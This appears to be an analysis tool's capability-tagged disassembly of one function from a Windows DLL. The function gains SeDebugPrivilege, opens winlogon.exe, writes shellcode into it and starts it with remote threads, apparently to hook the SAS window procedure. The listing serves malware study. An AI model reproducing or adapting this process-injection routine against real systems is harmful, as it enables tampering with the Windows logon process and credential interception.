Function at 0x10001390
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10006170
push 0x100026e4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff38
push ebx
push esi
push edi
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc4], 0
push 1
push str.SeDebugPrivilege
call fcn.10001020
add esp, 8
test eax, eax
jne 0x1000140c
xor eax, eax
jmp 0x10001aa5
push str.user32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x1000142d
xor eax, eax
jmp 0x10001aa5
mov eax, dword [str.winlogon.exe]
push eax
call fcn.10001330
add esp, 4
mov dword [0x10008dc8], eax
cmp dword [0x10008dc8], 0xffffffff
jne 0x10001450
xor eax, eax
jmp 0x10001aa5
mov ecx, dword [0x10008dc8]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x1000147a
xor eax, eax
jmp 0x10001aa5
mov dword [ebp - 4], 0
mov edx, dword [str.SAS_Window_class]
mov dword [ebp - 0x94], edx
mov eax, dword [0x10008144]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x10008148]
mov dword [ebp - 0x8c], ecx
mov edx, dword [0x1000814c]
mov dword [ebp - 0x88], edx
mov al, byte [0x10008150]
mov byte [ebp - 0x84], al
mov ecx, dword [str.SAS_window]
mov dword [ebp - 0x62], ecx
mov edx, dword [0x10008138]
mov dword [ebp - 0x5e], edx
mov ax, word [0x1000813c]
mov word [ebp - 0x5a], ax
mov cl, byte [0x1000813e]
mov byte [ebp - 0x58], cl
push str.FindWindowA
mov edx, dword [ebp - 0xd0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x10001506
jmp 0x100019ae
mov dword [ebp - 0x24], 0x7c
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x10008dcc], eax
cmp dword [0x10008dcc], 0
jne 0x1000153a
jmp 0x100019ae
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0xa0]
push ecx
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000156f
mov ecx, dword [ebp - 0xc4]
cmp ecx, dword [ebp - 0x24]
je 0x10001574
jmp 0x100019ae
mov edx, 0x10001b90
sub edx, 0x10001b70
mov dword [ebp - 0x24], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x100015b0
jmp 0x100019ae
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0x10001b70
mov ecx, dword [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100015e3
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x100015e8
jmp 0x100019ae
lea ecx, [ebp - 0xac]
push ecx
push 0
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0xbc]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x10001624
jmp 0x100019ae
push 0xffffffffffffffff
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0xcc], 0
jne 0x10001655
jmp 0x100019ae
push 0x8000
push 0
mov edx, dword [ebp - 0xbc]
push edx
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [0x10008dcc]
push ecx
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0xbc], 0
mov dword [0x10008dcc], 0
mov eax, 0x10001b20
sub eax, 0x10001ac0
mov dword [ebp - 0x24], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x24]
push ecx
push 0
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x10008dc4], eax
cmp dword [0x10008dc4], 0
jne 0x100016d9
jmp 0x100019ae
lea eax, [ebp - 0xc4]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0x10001ac0
mov edx, dword [0x10008dc4]
push edx
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000170c
mov ecx, dword [ebp - 0xc4]
cmp ecx, dword [ebp - 0x24]
je 0x10001711
jmp 0x100019ae
mov edx, dword [ebp - 0xcc]
push edx
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
je 0x10001739
mov dword [ebp - 0xd4], str.SetWindowLongW
jmp 0x10001743
mov dword [ebp - 0xd4], str.SetWindowLongA
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xd0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa4], 0
je 0x10001772
mov dword [ebp - 0xd8], str.CallWindowProcW
jmp 0x1000177c
mov dword [ebp - 0xd8], str.CallWindowProcA
mov edx, dword [ebp - 0xd8]
push edx
mov eax, dword [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x10008dc4]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xcc]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0xa0], 0
je 0x100017ba
cmp dword [ebp - 0x9c], 0
jne 0x100017bf
jmp 0x100019ae
mov dword [ebp - 0x24], 0x7c
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x10008dcc], eax
cmp dword [0x10008dcc], 0
jne 0x100017f3
jmp 0x100019ae
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0xa0]
push ecx
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001828
mov ecx, dword [ebp - 0xc4]
cmp ecx, dword [ebp - 0x24]
je 0x1000182d
jmp 0x100019ae
mov dword [ebp - 0x1c], 0x10001ac0
mov edx, 0x10001b20
sub edx, 0x10001ac0
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub eax, 3
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x20], 0
jmp 0x1000186f
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc8]
sub edx, 1
mov dword [ebp - 0xc8], edx
cmp dword [ebp - 0xc8], 0
jle 0x100018d6
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x12345678
jne 0x100018d4
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x10001ac0
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0xc4]
push edx
push 4
push 0x10008dcc
mov eax, dword [0x10008dc4]
add eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100018c6
cmp dword [ebp - 0xc4], 4
je 0x100018cb
jmp 0x100019ae
mov dword [ebp - 0x20], 1
jmp 0x100018d6
jmp 0x10001857
cmp dword [ebp - 0x20], 0
jne 0x100018e1
jmp 0x100019ae
mov edx, 0x10001b60
sub edx, 0x10001b30
mov dword [ebp - 0x24], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x1000191d
jmp 0x100019ae
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0x10001b30
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001950
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x10001952
jmp 0x100019ae
lea ecx, [ebp - 0xac]
push ecx
push 0
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0xb8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x1000198b
jmp 0x100019ae
push 0xffffffffffffffff
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 4], 0xffffffff
call fcn.100019bf
jmp 0x10001a83
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.10001020
add esp, 8
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret